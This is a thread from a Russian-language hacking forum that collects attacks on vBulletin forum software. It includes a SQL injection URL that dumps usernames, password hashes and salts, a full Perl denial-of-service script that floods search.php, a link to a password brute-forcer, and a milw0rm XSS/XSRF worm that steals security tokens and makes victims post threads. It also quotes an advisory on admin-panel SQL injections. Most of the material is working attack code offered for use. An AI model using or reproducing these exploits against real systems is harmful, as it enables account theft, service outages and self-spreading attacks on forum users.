Обзор уязвимостей vBulletin

[bZik]

vBulletin sql inject Downloads Mod

site.com/fileinfo.php?id=-1674'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,concat(username,0x3a,password,0x3a,salt ),19,20,21,22,23,24,25,26+from+user/*


Vbulletin Doser

#!"c:\perl\bin\perl.exe"
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/([Ссылки могут видеть только зарегистрированные и активированные пользователи])//eg;
for ($i=0; $i<99999999999999999999999999999999999999999999999999 99999999999999999999; $i++)
{
$user="h4x0r".$rand.$i;
$data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
$len = length $data;
$foo = "POST ".$dir."search.php [Ссылки могут видеть только зарегистрированные и активированные пользователи]".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "|" ;

}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
print "\~rippers~ team\n";
print "\t[Ссылки могут видеть только зарегистрированные и активированные пользователи]";




exit();
};


Vbulletin Password Brute Force

Скачать ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

[Napster]

где описание?
и для какой версии воблы??

[bZik]

vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit

/* -----------------------------
* Author = Mx
* Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
* Software = vBulletin
* Addon = Visitor Messages
* Version = 3.7.3
* Attack = XSS/XSRF

- Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
+ with the visitor messages addon (a clone of a social network wall/comment area).
- When posting XSS, the data is run through htmlentities(); before being displayed
+ to the general public/forum members. However, when posting a new message,
- a new notification is sent to the commentee. The commenter posts a XSS vector such as
+ <script src="[Ссылки могут видеть только зарегистрированные и активированные пользователи]">, and when the commentee visits usercp.php
- under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
+ and I have included an example worm that makes the user post a new thread with your own
- specified subject and message.

* Enjoy. Greets to Zain, Ytcracker, and [Ссылки могут видеть только зарегистрированные и активированные пользователи] which was the first subject
* of the attack method.
* ----------------------------- */

function getNew[Ссылки могут видеть только зарегистрированные и активированные пользователи]() {
var objType = false;
try {
objType = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
try {
objType = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {
objType = new XML[Ссылки могут видеть только зарегистрированные и активированные пользователи]();
}
}
return objType;
}

function getAXAH(url){

var the[Ссылки могут видеть только зарегистрированные и активированные пользователи] = getNew[Ссылки могут видеть только зарегистрированные и активированные пользователи]();
the[Ссылки могут видеть только зарегистрированные и активированные пользователи] = function() {processAXAH();};
the[Ссылки могут видеть только зарегистрированные и активированные пользователи]("GET", url);
the[Ссылки могут видеть только зарегистрированные и активированные пользователи](false);

function processAXAH(){
if (the[Ссылки могут видеть только зарегистрированные и активированные пользователи] == 4) {
if (the[Ссылки могут видеть только зарегистрированные и активированные пользователи] == 200) {

var str = the[Ссылки могут видеть только зарегистрированные и активированные пользователи]
var secloc = str.indexOf('var SECURITYTOKEN = "');
var sectok = str.substring(21+secloc,secloc+51+21);

var posloc = str.indexOf('posthash" value="');
var postok = str.substring(17+posloc,posloc+32+17);

var subject = 'subject text';
var message = 'message text';

postAXAH('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');

}
}
}
}








function postAXAH(url, params) {
var the[Ссылки могут видеть только зарегистрированные и активированные пользователи] = getNew[Ссылки могут видеть только зарегистрированные и активированные пользователи]();

the[Ссылки могут видеть только зарегистрированные и активированные пользователи] = function() {processAXAHr(elementContainer);};
the[Ссылки могут видеть только зарегистрированные и активированные пользователи]("POST", url);
the[Ссылки могут видеть только зарегистрированные и активированные пользователи]('Content-Type', 'application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи] charset=iso-8859-2');
the[Ссылки могут видеть только зарегистрированные и активированные пользователи](params);

function processAXAHr(elementContainer){
if (the[Ссылки могут видеть только зарегистрированные и активированные пользователи] == 4) {
if (the[Ссылки могут видеть только зарегистрированные и активированные пользователи] == 200) {

}
}
}
}


getAXAH('[Ссылки могут видеть только зарегистрированные и активированные пользователи]');
document.write('<iframe src="[Ссылки могут видеть только зарегистрированные и активированные пользователи]">');

# milw0rm.com [2008-11-20]

[bZik]

Multiple Sql Injection in vBulletin 3.7.4


Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: [Ссылки могут видеть только зарегистрированные и активированные пользователи]


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.

Web: [Ссылки могут видеть только зарегистрированные и активированные пользователи]


List of found vulnerabilities
================================================== =============================

1. Sql Injection in "admincp/verify.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Human Verification Manager
administer privileges


[---------- source code snippet start ----------]
if ($_POST['do'] == 'updateanswer')
{
$vbulletin->input->clean_array_gpc('p', array(
'answer' => TYPE_STR,
));
...
$db->query_write("
UPDATE " . TABLE_PREFIX . "hvanswer
SET answer = '" . $vbulletin->GPC['answer'] . "'
WHERE answerid = " . $vbulletin->GPC['answerid']
);
[----------- source code snippet end -----------]

It appears, that user submitted parameter "answer" is not properly sanitized
before using in sql query. As result sql injection is possible. Test will
induce sql error message:

Invalid SQL:
UPDATE vb_hvanswer
SET answer = 'war'axe'
WHERE answerid = 1;


2. Sql Injection in "admincp/attachmentpermission.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Attachment Permissions
Manager administer privileges

As in previous case, user submitted parameter, this time it's "extension", is
used in sql query without proper snaitization. This results sql injection
vulnerability. For test log in as admin with needed privileges and then issue
GET request (using proper URI instead if example):

[Ссылки могут видеть только зарегистрированные и активированные пользователи]'axe

This results with error message from vBulletin:

Database error in vBulletin 3.7.4:
Invalid SQL:

SELECT size, width, height
FROM attachmenttype
WHERE extension = 'war'axe';


3. Sql Injection in "admincp/image.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~

Impact: low
Preconditions: attacker must have admin account with Avatars administer privileges

[---------- source code snippet start ----------]
if ($_POST['do'] == 'updatepermissions')
{
$vbulletin->input->clean_array_gpc('p', array(
'iperm' => TYPE_ARRAY,
'imagecategoryid' => TYPE_INT
));
...
foreach($vbulletin->GPC['iperm'] AS $usergroupid => $canuse)
{
if ($canuse == 0)
{
$db->query_write("
INSERT INTO " . TABLE_PREFIX . "imagecategorypermission
(
imagecategoryid,
usergroupid
)
VALUES
(
" . $vbulletin->GPC['imagecategoryid'] . ",
$usergroupid
)
[----------- source code snippet end -----------]

User-submitted array "iperm" is used in sql query without proper sanitization.
This results in sql injection. Testing ends with error message:

MySQL Error : Unknown column 'waraxe' in 'field list'


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~

[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Janek Vind "waraxe"

Waraxe forum: [Ссылки могут видеть только зарегистрированные и активированные пользователи]
Personal homepage: [Ссылки могут видеть только зарегистрированные и активированные пользователи]
Php shell (work in progress): [Ссылки могут видеть только зарегистрированные и активированные пользователи]
---------------------------------- [ EOF ] ---------------------------------